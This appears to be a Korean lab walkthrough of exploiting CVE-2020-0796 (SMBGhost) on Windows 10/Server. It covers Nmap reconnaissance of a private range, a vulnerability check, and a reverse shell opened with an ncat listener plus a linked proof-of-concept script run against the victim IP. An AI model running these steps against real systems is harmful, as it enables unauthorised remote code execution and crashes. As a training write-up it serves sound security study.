
CVE-2020-0796 (SMBGhost)를 대상으로 한 개념 증명 익스플로잇으로, Windows 10/Server SMBv3.1.1을 대상으로 합니다. Nmap 정찰, 취약점 스캔, 리버스 셸 페이로드 전달을 포함합니다.
*- 영향을 받는 버전
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)

DMZ 구역의 네트워크 대역을 스캔하기 위해 Nmap 실행
map -sS 192.168.116.0/24
nmap: 네트워크 스캔 프로그램의 이름입니다.
-sS: TCP SYN 스캔 방식을 선택합니다. 이 스캔에서 Nmap은 대상 호스트에 SYN 패킷을 보내고 응답을 관찰합니다. 대상 호스트가 SYN-ACK 패킷으로 응답하면 Nmap은 해당 포트가 열려 있음을 알게 됩니다. 대상 호스트가 RST 패킷으로 응답하면 해당 포트는 닫혀 있음을 의미합니다.
-192.168.116.0/24: 스캔하려는 특정 IP 주소 또는 IP 주소 범위입니다. 이 경우 주소 범위는 192.168.116.0/24이며, 192.168.116.1부터 192.168.116.254까지 모든 IP 주소를 포함합니다.

=> 피해자 머신의 IP 주소 192.116.145에서 포트 445가 열려 있는 것을 확인했습니다.
· 피해자 머신의 취약점을 스캔하기 위해 Nmap 사용
map -p445 –script smb-protocols 192.168.116.145
nmap: 네트워크 스캔 프로그램의 이름입니다.
-p445: 스캔할 특정 포트를 지정하며, 이 경우 포트 445입니다. 포트 445는 일반적으로 Windows 시스템에서 SMB(Server Message Block) 서비스와 통신하는 데 사용됩니다.
--script smb-protocols: smb-protocols 스크립트를 선택하여 스캔을 수행합니다. 이 스크립트는 대상 호스트에서 지원되는 SMB 프로토콜 버전에 대한 정보를 확인하고 표시하는 데 도움을 줍니다.
192.168.116.145: 스캔하려는 호스트의 IP 주소입니다. 이 경우 IP 주소는 192.168.116.145로 설정되어 있습니다.

- 획득한 결과 smb-protocols에서 피해자 머신이 SMBv3.1.1을 익스플로잇할 수 있는 취약점이 존재할 가능성이 있음을 나타냅니다.
- 보다 확실히 하기 위해 Python 스크립트를 실행하여 CVE-2020-0796 취약점의 익스플로잇 가능성을 계속 확인합니다.
[]: -https://github.com/ly4k/SMBGhost "익스플로잇 코드"

=> 결과 Vulnerable -> 피해자 머신에서 익스플로잇 가능한 CVE-2020-0796 취약점을 발견했습니다.
Reverse_shell 공격 수행
ncat -lvp 4444
[]: https://github.com/jamf/CVE-2020-0796-RCE-POC "익스플로잇 코드"
python SMBleedingGhost.py 192.168.116.145 192.168.44.3 4444

=> 결과: 공격자가 피해자 머신에서 셸 코드 실행 권한을 획득했습니다.

연결 성공 후, 공격자는 피해자 머신에서 연결 세션의 사용자 권한으로 임의의 코드를 익스플로잇하고 실행할 수 있습니다.
세션이 종료되면 피해자 머신은 BlueScreen 오류가 발생하고 자동으로 재시작됩니다.

익스플로잇 수행은 대상 시스템을 손상시킬 수 있습니다.